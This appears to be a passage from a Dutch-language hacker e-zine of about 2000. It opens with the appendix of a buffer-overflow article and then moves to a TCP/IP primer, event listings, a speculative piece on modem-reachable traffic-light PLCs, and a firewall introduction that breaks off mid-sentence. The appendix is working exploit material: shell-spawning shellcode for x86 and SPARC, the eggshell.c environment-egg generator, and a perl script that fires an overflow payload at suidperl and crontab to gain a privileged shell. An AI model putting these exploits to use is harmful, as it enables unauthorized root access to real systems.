sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
SPARC/SunOS
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
Appendix B - Generic Buffer Overflow Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
eggshell.c
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
} if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ] [-o ]\n");
}
Algemeen exploit script in perl dat het probleem van
offset gokken oplost door het environment leeg te halen.
perl-exploit.pl
#!/bin/perl
# Generic exploit program in perl, which clears the environment to take
# away the need for offset guessing.
# Dvorak (@synnergy.net // @hit2000.org) 1999.
$egg = "\x90" x 1500;
$egg .= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f";
$egg.= "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd";
$egg.= "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
foreach $key (keys %ENV) {
delete $ENV{$key};
}
$ENV{"egg"} = $egg;
#change the size of $buf if you need to.
$buf="";
for ($i = 0; $i < 450; $i++) {
$buf .= "\x8f\xff\xff\xbf";
}
# Put here your use for $buf, the string to exploit te vulnerable program with
# old suidperl exploit
system("/usr/bin/suidperl $buf");
# old crontab exploit
$happy_file = "/tmp/.happy_file";
open(F, ">$happy_file"); printf F "$buf=X\n"; close F;
system("/usr/bin/crontab $happy_file");
unlink $happy_file;
# exploit for the off-by-one bug.
system("./vuln $buf");
Dvorak
-------------------------------------------------------
07. TCP/IP Voor newbies
-------------------------------------------------------
--[ Preface
De meesten die deze guide lezen, kennen TCP/IP waarschijnlijk al vanuit hun
broekzak, maar ja! Deze text is dan ook bedoeld voor alle newbies die
de TCP/IP-basisprincipes niet beheersen. Niet iedereen is geboren met een
UNIX-manual in zijn hand en een Internet-aansluiting binnenin zijn wieg.
Nee, zelfs Condor (Kevin Mitnick) is ergens moeten beginnen. Zolang er
technologie bestaat, zullen er newbies zijn. En iedereen, jep *iedereen*,
kan altijd iets bijleren! Niemand weet ooit alles...
Deze text is echt een simpele -en zeer beknopte- inleiding tot TCP/IP.
--[ Eerst en vooral: TCP/IP
Eigenlijk is TCP/IP gewoon een set van protocollen, ontwikkeld voor WAN's,
die steunen op een vierlagenmodel: Network Interface, Internet, Transport
en Application. TCP/IP wordt trouwens ook veel gebruikt bij LAN's.
--[ En dan nu: het vierlagenmodel
De onderstaande figuur geeft een ietwat duidelijker beeld van dit model.
+-------------------+-------------------+
| Windows Sockets | NetBIOS | --> Application Layer
+-------------------+-------------------+
| UDP | TCP | --> Transport Layer
+------------+------+------+------------+
| ICMP | IP | ARP | --> Internet Layer
+------------+-------------+------------+
| | --> Network Interface Layer
+---------------------------------------+
De onderste laag is de Network Interface laag. Die is verantwoordelijk
voor zowel het zetten van frames op de kabel, als het afhalen van frames
van de kabel.
Dan de volgende laag, de internet laag, houdt zich voornamelijk bezig met
de adressering en routing functies. Die werkt volgens drie protocollen:
o Het Address Resolution Protocol of ARP dat gebruikt wordt om fysieke
adressen te verkrijgen van hosts die zich bevinden op hetzelfde netwerk.
o Het Internet Protocol of IP dat grotendeels verantwoordelijk is voor de
adressering en de routing van packets tussen hosts en netwerken.
o En het Internet Control Message Protocol of ICMP dat berichten stuurt en
fouten rapporteert in verband met de levering van een packet.
Dan de transport laag. Die is verantwoordelijk voor de communicatie tussen
twee hosts. Deze werkt ook volgens twee protocollen:
o Het Transmission Control Protocol of TCP die een verbindingsgerichte en
betrouwbare verbinding biedt wanneer grote hoeveelheden van data op
hetzelfde moment verzonden moeten worden. Een ACK, een acknowledgement
of een ontvangstbevestiging, wordt per ontvangen segment teruggestuurt.
o Het User Datagram Protocol of UDP die verbindingsloze services biedt en
niet garandeert dat de packets zullen aankomen. UDP wordt meestal
gebruikt wanneer kleine hoeveelheden data tegelijkertijd moeten worden
verzonden. Betrouwbare verzending is dus de verantwoordelijkheid van
het gebruikte prog.
En dan is er nog de bovenste laag, de application laag. Dat is de laag
waar progs toegang krijgen tot het netwerk.
--[ Ten eerste: de network interface laag
Zoals ik reeds heb gezegd, is deze verantwoordelijk voor het zetten van
frames op de kabel en het afhalen van frames van de kabel. De gebruikte
methode verandert ook naargelang het type netwerk.
Wanneer de network interface laag een packet ontvangt van de bovenliggende
laag, de internet laag, wordt er een preamble en een CRC aan toegevoegd.
De preamble is gewoon een reeks bytes die het begin van een frame
aanduiden. De CRC of cyclic redundancy check is een wiskundige berekening
die toegevoegd wordt om er zeker van te zijn dat het pakket geen fouten
bevat.
Nu wordt het frame op de kabel gezet. Als dit frame aankomt bij de
eindbestemming (de ontvangende host), dan wordt de preamble verwijderd en
de wiskundige berekening opnieuw uitgevoerd. Komt de berekende waarde
overeen met de originele CRC, dan wordt er naar het fysieke eindadres
gekeken binnenin de frame. Is het een broadcast adres, of komt het overeen
met de network interface, dan wordt dit frame doorgegeven aan het juiste
protocol in de bovenliggende laag. Komen de berekende waarde en de
originele CRC niet overeen, wordt het frame gewoon verwijderd.
--[ Ten tweede: de internet laag
Hierop worden de packets geadresseerd voor routing. IP biedt
verbindingsloze services waarmee bedoelt wordt dat er geen sessie gemaakt
moet worden met een andere host vooraleer een pakket kan verzonden worden.
Hierdoor is IP dan ook onbetrouwbaar. Packets kunnen bijvoorbeeld tijdens
het verzenden zoekraken, niet in de juiste volgorde toekomen of zelfs twee
keer voorkomen, waardoor de betrouwbaarheid de taak wordt van de
bovenliggende protocollen.
Wordt een packet van de transport laag doorgegeven aan de internet laag,
dan voegt IP er een eigen header aan toe. Deze header bevat onder andere
het bronadres, het bestemmingsadres, het gebruikte protocol, een checksum
value en een TTL. De checksum value is een simpele wiskundige berekening
om te controleren of het pakket wel degelijk foutloos is toegekomen. TTL,
de Time To Live of gewoon de levensduur, bepaalt het aantal seconden dat
een packet mag doorbrengen op de kabel. Dit voorkomt dat een packet
eindeloos blijft ronddwalen op het netwerk. Wordt het bestemmingsadres
herkent als een lokaal adres, dan verzendt IP het packet direct naar die
host. Anders, dus als het een extern adres is, dan controleert IP de
routingtabel voor een eventuele route naar die host. Wordt er een route
gevonden, dan zendt IP het packet gewoon volgens die route. Wordt er geen
route gevonden, dan wordt het packet naar de standaardgateway, ook een
router, van de bronhost gestuurd.
Als het pakket door de router ontvangen wordt, wordt het doorgegeven aan
IP dat er het volgende mee doet:
o het vermindert de TTL met één bij elke router, of meer als het pakket
wat blijft steken door overbelasting aan de router. Is de levensduur
nul, dan wordt het pakket verwijderd.
o Dan berekent IP opnieuw de cheksum value.
o IP vraagt het fysieke adres op van de volgende router.
o IP stuurt uiteindelijk het pakket door.
Dit proces wordt dus telkens herhaald per router dat het packet tegenkomt
totdat het zijn eindbestemming bereikt heeft.
Ontvangt de router een pakket dat te groot is voor het onderliggende
netwerk, dan breekt IP het packet op in kleinere stukken. Enkel en alleen
als de stukken op de eindbestemming aankomen, voegt IP de stukken terug bij
elkaar tot het originele pakket terug gevormd wordt, wat fragmentatie wordt
genoemd. Per stuk wordt er ook een nieuwe header aangemaakt die bestaat
uit:
o een vlag om aan te duiden dat er nog fragmenten volgen.
o Een fragment-ID om aan te duiden welke fragmenten nu juist bij elkaar
horen.
o En een fragment-offset om aan te duiden in welke volgorde IP de stukken
terug moet samenvoegen.
Uiteindelijk wordt het samengestelde pakket door de stack doorgegeven aan
ofwel TCP, ofwel UDP.
Als IP packets moet routen, dan moet IP sowieso het fysieke eindadres
kunnen verkrijgen. IP gebruikt hiervoor het ARP protocol bij broadcast-
gebaseerde netwerken.
De werking hiervan: ARP wordt aangesproken door IP en raadpleegt eerst en
vooral de ARP cache om te zoeken achter het fysieke adres dat overeenkomt
met de eindbestemming. Vindt ARP dit niet, dan creëert ARP een ARP request
frame voor het fysieke eindadres, waarbij zowel het IP-adres als het
fysieke bronadres mee in wordt opgenomen. Vervolgens wordt het frame op
de kabel gezet en gestuurd naar het gehele lokale netwerk. Alle hosts
ontvangen dit request frame en sturen het door naar hun ARP protocol. Komt
het IP-adres van de ontvangende host overeen met het gevraagde eindadres,
dan wordt er in deze host een ARP reply gemaakt dewelke zijn fysieke
eindadres bevat en wordt deze reply direct gestuurd naar de bronhost. Als
deze reply ontvangen wordt, dan worden zowel het IP-adres als het fysieke
adres ervan opgeslagen in de lokale ARP cache. En dus nu pas kan het
packet verzonden worden.
-- RFC 791 - Internet Protocol (IP)
-- RFC 826 - Address Resolution Protocol (ARP)
Treden er fouten op tijdens het routen, dan stuurt ICMP een foutmelding met
enkele gegevens over de fout naar de bronhost. ICMP kan bijvoorbeeld een
source quench bericht sturen als een router niet meer kan volgen doordat
hij overbelast wordt. Deze source quench laat weten dat de host zijn
transmissiesnelheid moet verlagen. Of ICMP kan een redirect bericht sturen
wanneer een gewenste route aangevraagd wordt, als bijvoorbeeld een bepaalde
router overbelast is en dus een andere route gebruikt moet worden. Of een
'destination unreachable' bericht wanneer er geen route mogelijk is.
Dit ICMP bericht wordt samengesteld tot een IP datagram en wordt gerouted
naar de bron host.
-- RFC 792 - Internet Control Message Protocol (ICMP)
--[ Ten derde: de transport laag
Deze laag voorziet de eindpunten tussen de twee hosts waartussen de
communicatie zal plaatsvinden. Bij zowal UDP als TCP worden dit ports
genoemd.
UDP wordt meestal gebruikt wanneer kleine hoeveelheden data tegelijkertijd
moeten worden verzonden. UDP heeft twee belangrijke eigenschappen:
o Het is verbindingsloos waarmee bedoelt wordt dat er geen verbinding
dient gemaakt te worden tussen de twee hosts vooraleer data kan worden
verzonden. UDP berichten kunnen ook gebroadcast worden zodat veel hosts
het bericht ontvangen.
o En het garandeert ook geen foutloze verzending. Packets kunnen in een
foute volgorde of zelfs dubbel aankomen. Betrouwbare verzending is dus
de verantwoordelijkheid van het gebruikte prog.
Als een prog data wil verzenden, dan creëert UDP een header dat een
bronport, een eindport (waar uiteindelijk de data naartoe zal worden
verzonden) en een checksum value (voor zowel de data als deze header te
controleren) bevat. Wordt het packet bij de eindhost ontvangen, dan wordt
dit doorgestuurd naar UDP die het op zijn beurt aflevert aan de eindport.
-- RFC 768 - User Datagram Protocol (UDP)
TCP wordt meestal gebruikt bij progs die grote hoeveelheden aan data moeten
verzenden. TCP heeft drie belangrijke eigenschappen:
o Het is verbindingsgericht waarmee dus bedoelt wordt dat TCP eerst een
verbinding zal maken tussen de twee hosts vooraleer data kan worden
verzonden.
o Het is enorm betrouwbaar doordat TCP gebruik maakt van een nummering en
ACK's (acknowledgment of ontvangstbevestiging). De nummering laat TCP
toe de segmenten op te splitsen in verschillende packets op de bronhost
zodat op de eindhost de packets gemakkelijk bij elkaar kunnen worden
gebracht.
o En de communicatie van TCP is bytegeoriënteerd waardoor gegevens worden
behandeld als een opeenvolging van bytes.
-- RFC 793 - Transmission Control Protocol (TCP)
--[ Ten vierde: de application laag
Dit is de laag waar progs toegang krijgen tot het netwerk. Micro$oft
TCP/IP ondersteunt Windoze Sockets en NetBIOS interfaces tussen progs en de
transport laag.
Windoze Sockets voorzien een standaard API onder Windows voor transport
protocollen met verschillende adresseringsmethoden.
NetBIOS voorziet een standaard interface voor protocollen zoals TCP/IP en
NetBEUI die de NetBIOS naming conventions ondersteunen met betrekking tot
de adressering.
--[ RFC's
De verschillende protocollen die bij de vier lagen horen, worden elk
behandeld in hun eigen RFC.
RFC's of Request For Comments zijn artikelen waarin alle mogelijke
protocollen en afspraken in verband met het Internet en netwerken genoteerd
staan.
Het zijn er tot nu toe ettelijke duizenden, en het aantal blijft gestadig
toenemen per nieuwe afspraak er gemaakt wordt...
RFC's kunnen gedownload worden op :
http://www.cis.ohio-state.edu/hypertext/information/rfc.html
Zym0t1c
-------------------------------------------------------
08. Evenementen
-------------------------------------------------------
--Hackers4Hackers Meeting Zaterdag 4 Maart 2000--
Hackers 4 Hackers organiseert op 4 Maart een meeting in Arnhem.
Het idee is als volgt, zaterdag middag tussen 12:00 en 13:00 verzamelen in
de stationshal in Arnhem, uiteraard geven we aan waar de meeting point is.
vervolgens kan het gezelschap naar een "besloten" café in Arnhem gaan om
daar onder het genot van een drankje en muziek iedereen de gelegenheid geven
elkaar in real life te ontmoeten... Aangezien Hackers 4 Hackers geen
winstgevende bezigheid is voor de crew zal je je drankjes dus zelf moeten
betalen. Uiteraard vragen we geen entree of wat voor een bijdrage dan ook
voor deelneming... Je komt of je komt niet =)
Het kan tot s'nachts 2 uur duren (en zal het ook zeker gaan duren voor de
crew =), Maar je bent natuurlijk vrij om naar huis te gaan wanneer je wil.
(al kom je maar 1 uurtje (dus tot 14:00 ofzo) dan ben je ook welkom !)
Het is dus niets anders als een gezellige middag voor iedereen die komt.
En niet de bedoeling dat mensen computers mee nemen.
Datum: 04-03-2000
Lokatie: Arnhem
Homepage: http://www.hackers4hackers.org/h4h-meeting
--Innersphere Lanparty--
Een LANparty, een samenkomst van mensen die allemaal hun computer meebrengen
om op de party één groot en snel netwerk vormen, om alzo informatie uit te wisselen,
games te spelen en op het intra- of internet te surfen. Naast het netwerk zijn er ook
tal van andere activiteiten, competities en demo's te bewonderen op INNERSPHERE waar
je zelf kan aan mee doen
Datum: 03-03-2000 tot 05-03-2000
Lokatie: Beerzel(PUTTE), België
Homepage: http://www.innersphere.org
--Klaphek Meeting Zondag 9 April 2000--
De derde Klaphek Meeting in vernieuwde vorm zal plaatsvinden op zondag 9 april. Jawel,
op zondag! Die dag waarop je je normaal alleen maar zit te vervelen! Maar de
ontmoetingsplaats blijft wel hetzelfde, namelijk het Centraal Station in Utrecht, voor
het GWK kantoor in de stationshal. We verwachten jullie daar om 14:00 te ontmoeten.
Dus gewoon op dat groepje "verdachte" personen aflopen. Zij zijn er ook alleen maar om
elkaar een keer te ontmoeten en wat informatie uit te wisselen of te discussieren over
onderwerpen die hen bezighouden. 't Klaphek hoopt dat hieruit enkele interessante
projecten voortvloeien, en wil lezers aanzetten tot het schrijven van artikelen.
Uiteraard is een gezellige middag met mensen met dezelfde interesses ook altijd erg leuk.
Wij verzamelen dus om 14:00 voor het GWK in de stationshal. Van hieruit zullen wij bekijken
wat we gaan doen. Afhankelijk van de grote van de groep kunnen wij beslissen om de stad in
te gaan.
Datum: 09-04-2000
Lokatie: Centraal Station, Utrecht
Homepage: http://www.klaphek.nl
--2nd International SANE Conference--
Technology is advancing, the systems administration profession is changing
rapidly, and you have to master new skills to keep apace. At the International
SANE (System Administration and Networking) conference you'll find a wealth of
opportunities to meet other system administrators and network (security) professionals
with similar interests, while attending a program that brings you the latest in tools,
techniques, security and networking.
Datum: 22-05-2000 tot 25-05-2000
Lokatie: Maastricht
Homepage: http://www.nluug.nl/events/sane2000/index.html
-------------------------------------------------------
09. Stoplichten
-------------------------------------------------------
Als verkeerslichtinstallatie werkelijk op een PLC werkt (bijna wel zeker dat dat
bij nieuwe installaties zo is, oude misschien nog op relais techniek?), dan is
het verhaal van Tozz wel juist maar gebaseerd op oude techniek.
Een PLC is een electronisch regel- of stuurorgaan waarin combinatorische en/of
seguentiele logicafuncties programmerbaar zijn.
(Combinatorisch = afhankelijk van ingangssignaal, sequentieel = tijdsafhankelijk
ofwel volgorde logica). De PLC vervangt o.a. de relaisbesturingskasten, timers
etc.
De huidige generaties PLC's zijn in staat om bijvoorbeeld complexe fabrieken aan
te sturen en te regelen. Dus dat je er niet veel mee kan is niet helemaal waar.
En je raad het al een moderne PLC wordt geprogrammeerd mbv van software die
onder window95/98/NT etc. etc. werkt en waar dus een keyboard, muis, monitor en
bv een modem nodig zijn.
Een PLC kan on-line of off-line geprogrammeerd worden. Voor alle duidelijkheid
on-line programmeren is direct op de PLC programmeren zonder tussenkomst van de
PC, waarna het later naar de PC geschreven kan worden om te bewaren cq.
aanpassingen te verrichten.
(Van de PLC naar de PC wegschrijven is up-loaden)
Omdat programma's (meestal) off-line mbv de editor geschreven worden, moet bij
een nieuw programma opgegeven worden voor welke PLC het programma is bedoeld.
Dit wordt opgegeven in de editor, die heeft de volgende hoofdfunties:
APPEND: aanmaken van een nieuwe instructie
INSERT: maakt een nieuwe instructie boven de instructie waar de cursor staat.
DELETE: zou wel wat verwijderen denk ik.
Iedere instructie kan voorzien zijn van (hulp)tekst. Deze tekst kan bv aangeven
wat de functie is van de schakeling.
Door te down-loaden kan kan het programma van de PC geladen worden in de PLC.
Monitoring.
Door de PC aan te sluiten op de PLC link of een Data-Highway en het juiste
stationsnummer te kiezen kan in de PLC gekeken worden naar:
1) Het Ladderprogramma:
--> status van I/O bits (als bit instructie oplicht is het contact gesloten
(true))
--> stand van tellers en timers (lopende waarden en pre-set waarden kunnen
bekeken (!) en gewijzigd (!) worden.
2) De data table --> bit adressen en woord adressen, satus van bits kunnen
worden veranderd.
En nog enkele andere dingen kunnen worden bekeken.
Omdat een PLC niet afhankelijk is van een Data-Highway of netwerk, maar ook kan
communiceren met een modem is het heel goed mogelijk dat de PLC's in
verkeerslicht installaties zijn voorzien van een modem en op deze wijze
geprogrammeerd, en van buitenaf beinvloed worden, zoals voor de brandweer etc.
Dit kan ook bijvoorbeeld bij op afstand bediende bruggen het geval zijn,
snelwegverlichting, wegsignalering (het bekende rode kruis, snelheid) etc.
Door een modemverbinding zijn ze uiteraard over grote afstanden te bedienen,
maar ook op een intern netwerk in een fabriek kunnen ze op behoorlijke afstanden
met elkaar communiceren.
NB: Stationsadres/nummer = het adres dat op de PLC proccesor via dipswitches is
ingesteld (Allen Bradley).
Veel voorkomende extensie voor bestandsnamen is *.ACH.
Bij iedere bestandsnaam is ook aangegeven het stationsadres op de PCL link en de
editor instelling.
Bekende fabrikanten van PLC's zijn o.a. : Allen Bradley, Siemens, Hitachi
Software voor PLC's gemaakt door: o.a. ICOM-AI voor AB, Vector voor Hitachi
Maar of alles zoals bovengenoemd werkelijk op PLC besturing werkt weet ik ook
niet, maar er is vast genoeg kennis van mensen die dit wel weten.
Cobus.
-------------------------------------------------------
10. Inleiding tot firewalls
-------------------------------------------------------
"Firewalls can be an effective means of protecting a local system or network
of systems from network-based security threats while at the same time
affording access to the outside world via wide area networks and the
Internet."
-- William Stallings, Cryptography and Network Security - Principles
and Practice, Second Edition
"Een firewall is een combinatie van hardware en software (die vaak samenwerken
om verschillende protocollen te beheren) die u gebruikt om uw netwerk te
beschermen tegen ongeoorloofde toegang."
-- Lars Klander, Hacker Proof
--[ Preface
Sorry guys voor alle typos. De examens staan voor de deur, evenals de
feestdagen... Ik heb gewoon gewwon geen goesting om alles een paar keer te
lezen om alzo alles *perfect* te krijgen. Who cares!
Enjoy the stuff, and keep on reading, because... knowledge is power!
--[ Introductie
Waarvoor dient nu in godsnaam een firewall? (Jeezes zeg!) Wel, een
firewall vormt eigenlijk een centrale locatie waardoor de beveiliging van
het systeem vergemakkelijkt wordt omdat de beveiligingsmogelijkheden worden
samengebracht tot één enkel systeem, of eventueel een paar systemen.
Een firewall probeert ook onbevoegden buiten het netwerk te houden,
verbiedt ook mogelijke inkomende en uitgaande 'zwakke' services (lees:
beveiligingslekke services) en biedt een beveiliging tegen allerlei vormen
van IP spoofing en routing attacks. Een firewall voorziet ook
'monitoring', dit is het vastleggen van gebeurtenissen in verband met de
beveiliging. Een firewall levert ook Internet functies die niets te maken
hebben met de veiligheid van een systeem, zoals een netwerkadresvertaler
en functies die het Internet gebruik bijhouden.
Er zijn nog andere gebruiken, maar deze zijn de voornaamste.
--[ Voorwaarden van firewalls
Zoals alle goeie hard- en software, moeten ook firewalls voldoen aan
bepaalde voorwaarden. Een firewall moet alle toegang blokkeren tot het
netwerk behalve die via de firewall. Hierdoor *moet* zowel het inkomende
als het uitgaande verkeer langs de firewall passeren. Een firewall mag ook
enkel en alleen het verkeer doorlaten dat voldoet aan de lokale
veiligheidsnormen. En tot slot moet de firewall zelf ook bestand zijn
tegen penetratie van buitenaf (doh!).
Om dit te kunnen bereiken bestaan er verschillende technieken om de toegang
te controleren. Een eerste techniek is de 'Service control'. Deze bepaald
welke typen van Internet services toegankelijk zijn. De firewall kan
filteren op basis van IP-adressen en TCP-ports. Hij kan ook proxy software
voorzien dat elke service request ontvangt en interpreteert vooraleer deze
door te laten. Een andere techniek is de 'Direction control'. Deze
bepaald de richting langs welke bepaalde service requests mogen toegelaten
worden door de firewall. 'User control' bepaald of een user al dan niet
toegang krijgt tot een zekere service. Dit wordt meestal toegepast bij
users die zich bevinden binnenin de firewall. Het kan ook toegepast worden
op binnenkomend verkeer van externe users. Deze zal dan gebruik maken van
een soort van beveiligde authentificatie. Een laatste techniek is de
'Behavior control'. Deze bepaald hoe bepaalde services gebruikt worden,
zoals daar zijn: het filteren van e-mails om spam te verwijderen, het
beperken van externe toegang tot alleen maar enkele delen van de lokale
Web-server, enz..
Firewalls zijn natuurlijk nooit perfect door flaws en beperkingen.
Firewalls kunnen een netwerk bijvoorbeeld niet beschermen tegen aanvallen
die de firewall omzeilen (logisch eigenlijk, maar toch!). Interne systemen
kunnen dial-out mogelijkheden hebben om een verbinding te maken met een
ISP, waardoor ze direct de firewall omzeilen. LAN's kunnen ook modems
gebruiken die dial-in mogelijkheden bieden voor remote users, users die
extern inbellen op een interne modem. Een firewall biedt ook geen enkele
weerstand tegen interne bedreigingen van werknemers. En tot slot biedt de
firewall ook geen bescherming tegen de overdracht van viruscode in
programma's en files, dit omwille van de grote verscheidenheid van
besturingssystemen en programma's.
Het wordt voor de firewall een onmogelijke taak om alle inkomende files,
e-mails en berichten te scannen op virussen.
--[ De meest gebruikte firewalls
Nu, we weten al waarvoor firewalls dienen, aan welke voorwaarden deze
moeten voldoen, welke technieken ze toepassen en welke beperkingen ze
hebben. Laat ons nu de drie meest gebruikte typen van firewalls bespreken.
Allereerst is er de 'Packet-filtering router'. Deze past op elk inkomend
IP-packet bepaalde filterregels toe om ze vervolgens ofwel door te laten,
ofwel te weigeren. Uitgaande packets worden meestal ook gefilterd,
alhoewel dit niet standaard gebeurt. Deze filterregels zijn gebaseerd op
bepaalde velden binnenin de IP-en de transportheader (TCP en UDP), met
zowel het bron- als het bestemmings-IP-adres, het IP-protocol veld
(definieert welk transport protocol gebruikt wordt) en het TCP- of
UDP-nummer (definieert de gebruikte toepassing zoals telnet of SMTP). Deze
packet-filter is meestal geconfigureerd aan de hand van een reeks regels
die overeenkomen met de IP- of TCP-header. Is er een regel die
overeenkomt, dan wordt deze toegepast om ofwel het packet door te laten,
ofwel het packet te weigeren. Werd er echter geen overeenkomst gevonden,
dan wordt een default actie toegepast. Is deze default actie 'discard',
dan wordt dat wat niet exact toegelaten is, verboden. Anderzijds, als
default 'forward' is, dan wordt dat wat niet exact verboden is, toegelaten.
'Discard' wordt het meeste gebruikt als default. Hierdoor wordt
aanvankelijk alles geblokkeert en services moeten telkens per geval
toegevoegd worden, waardoor de firewall eerder beschouwt wordt als een
hinderpaal dan een beveiligingsinstrument.
Als default 'forward' is, dan verhoogt deze het gebruiksgemak, maar
vermindert deze de beveiliging.
Een groot voordeel van een Packet-filtering router is zijn eenvoud. Ook
zijn deze filters onzichtbaar voor de users en zijn ze erg snel. De
moeilijkheden liggen hem in het configureren van de filterregels en de
tekortkoming van de authentificatie. IP spoofing, source routing attacks
en tiny fragment attacks kunnen hierop met succes worden uitgevoerd.
Een tweede soort is de 'Application-Level Gateway', ook wel proxy-server
genoemd. Deze doet dienst als een schakel bij het verkeer op de
toepassingslaag. De user contacteert de gateway door gebruik te maken van
een TCP/IP-applicatie, zoals telnet of FTP, en de gateway vraagt de user de
naam van de remote host die hij wil bereiken. Als de gebruiker antwoord en
een geldig user-ID en password kan voorleggen, dan contacteert de gateway
de applicatie op de remote host en verzendt TCP-segmenten die de data bevat
tussen de twee eindpunten. Als de gateway de proxycode niet implementeert
voor een bepaalde toepassing, wordt de service niet ondersteund en kan deze
niet doorgestuurd worden door de firewall. Verder nog, de gateway kan ook
geconfigureerd worden om enkel bepaalde mogelijkheden te ondersteunen, en
andere mogelijkheden dus ook te weigeren.
Application-level gateways zouden veiliger zijn dan Packet filters. Deze
gateway moet enkel de ondersteunbare applicaties meegeconfigureerd krijgen
in plaats van alle verschillende mogelijke combinaties die toegestaan en
geweigerd worden op het TCP- en IP-level bij Packet filters. Ook is het
gemakkelijk om al het inkomend verkeer op de toepassingslaag bij te houden.
Een groot nadeel van deze gateways is de bijkomende procesverwerking per
bijkomende verbinding. Eigenlijk zijn er altijd twee afzonderlijke
verbindingen tussen de twee eindgebruikers en de gateway; een met de
gateway aan de ene kant, plus de gateway moet al het verkeer op zich nog
eens onderzoeken en doorsturen naar de eindgebruikers.
Een derde soort is de 'Circuit-level gateway'. Dit kan een stand-alone
systeem zijn of het kan een bepaalde functie zijn, uitgevoerd door een
Application-level gateway voor bepaalde toepassingen. Een Circuit-level
gateway laat geen directe TCP-verbindingen toe. Hij zal eerder twee TCP-
verbindingen maken; een verbinding tussen hemzelf en de TCP-user op een
Internet host en een verbinding tussen hemzelf en een TCP-user op een
externe host. Vanaf het moment dat de twee verbindingen tot stand zijn
gebracht, zal de gateway de TCP-segmenten doorsturen van de ene verbinding
naar de andere zonder de inhoud ervan te onderzoeken. De
beveiligingsfunctie bestaat erin het bepalen van welke verbindingen
toegestaan zullen worden. Deze zal meestal toegepast worden daar waar de
sysop de Internet gebruikers volkomen vertrouwd.
De gateway kan geconfigureerd worden om proxy services toe te laten bij
interne verbindingen en de Circuit-level functies voor externe
verbindingen.
--[ De Bastion host
Een weliswaar meest gebruikt type van firewall is de 'Bastion host'. Een
Bastion host is een systeem, herkend door de sysop als een kritiek en sterk
